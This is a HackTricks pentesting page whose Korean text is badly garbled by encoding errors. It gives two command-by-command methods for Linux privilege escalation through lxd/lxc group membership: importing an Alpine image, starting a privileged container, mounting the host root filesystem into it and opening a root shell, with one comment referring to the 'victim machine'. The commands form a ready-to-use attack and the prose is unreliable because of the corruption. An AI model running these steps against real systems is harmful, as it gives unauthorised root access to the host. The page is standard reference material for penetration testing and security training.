lxd/lxc ๊ทธ๋ฃน - ๊ถŒํ•œ ์ƒ์Šน

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋‹น์‹ ์ด lxd ๋˜๋Š” lxc ๊ทธ๋ฃน์— ์†ํ•œ๋‹ค๋ฉด, ๋ฃจํŠธ๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ธํ„ฐ๋„ท ์—†์ด ์•…์šฉํ•˜๊ธฐ

๋ฐฉ๋ฒ• 1

์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ €์žฅ์†Œ์—์„œ lxd์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•  alpine ์ด๋ฏธ์ง€๋ฅผ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Canonical์€ ๊ทธ๋“ค์˜ ์‚ฌ์ดํŠธ์— ๋งค์ผ ๋นŒ๋“œ๋ฅผ ๊ฒŒ์‹œํ•ฉ๋‹ˆ๋‹ค: https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/
๊ฐ€์žฅ ์ตœ์‹  ๋นŒ๋“œ์—์„œ lxd.tar.xz์™€ rootfs.squashfs๋ฅผ ๋ชจ๋‘ ๊ฐ€์ ธ์˜ค์„ธ์š”. (๋””๋ ‰ํ† ๋ฆฌ ์ด๋ฆ„์€ ๋‚ ์งœ์ž…๋‹ˆ๋‹ค).

๋Œ€์•ˆ์œผ๋กœ, ์ด ๋ฐฐํฌํŒ ๋นŒ๋”๋ฅผ ๋‹น์‹ ์˜ ๋จธ์‹ ์— ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/lxc/distrobuilder (github์˜ ์ง€์นจ์„ ๋”ฐ๋ฅด์„ธ์š”):

# Install requirements
sudo apt update
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage

# Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder

# Make distrobuilder
cd ./distrobuilder
make

# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

# Create the container - Beware of architecture while compiling locally.
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64

ํŒŒ์ผ incus.tar.xz (**Canonical ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์—์„œ ๋‹ค์šด๋กœ๋“œํ•œ ๊ฒฝ์šฐ lxd.tar.xz)์™€ rootfs.squashfs๋ฅผ ์—…๋กœ๋“œํ•˜๊ณ , ์ด๋ฏธ์ง€๋ฅผ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— ์ถ”๊ฐ€ํ•œ ํ›„ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Caution

์ด ์˜ค๋ฅ˜๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด ์˜ค๋ฅ˜: ์ €์žฅ์†Œ ํ’€์ด ์—†์Šต๋‹ˆ๋‹ค. ์ƒˆ ์ €์žฅ์†Œ ํ’€์„ ์ƒ์„ฑํ•˜์‹ญ์‹œ์˜ค
**lxd init**๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๋ชจ๋“  ์˜ต์…˜์„ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ์„ค์ •ํ•˜์‹ญ์‹œ์˜ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด์ „ ๋ช…๋ น์–ด ๋ฉ์–ด๋ฆฌ๋ฅผ ๋ฐ˜๋ณตํ•˜์‹ญ์‹œ์˜ค.

๋งˆ์ง€๋ง‰์œผ๋กœ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  root๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Method 2

Alpine ์ด๋ฏธ์ง€๋ฅผ ๋นŒ๋“œํ•˜๊ณ  security.privileged=true ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ์ž‘ํ•˜์—ฌ ์ปจํ…Œ์ด๋„ˆ๊ฐ€ ํ˜ธ์ŠคํŠธ ํŒŒ์ผ ์‹œ์Šคํ…œ๊ณผ ๋ฃจํŠธ๋กœ ์ƒํ˜ธ ์ž‘์šฉํ•˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ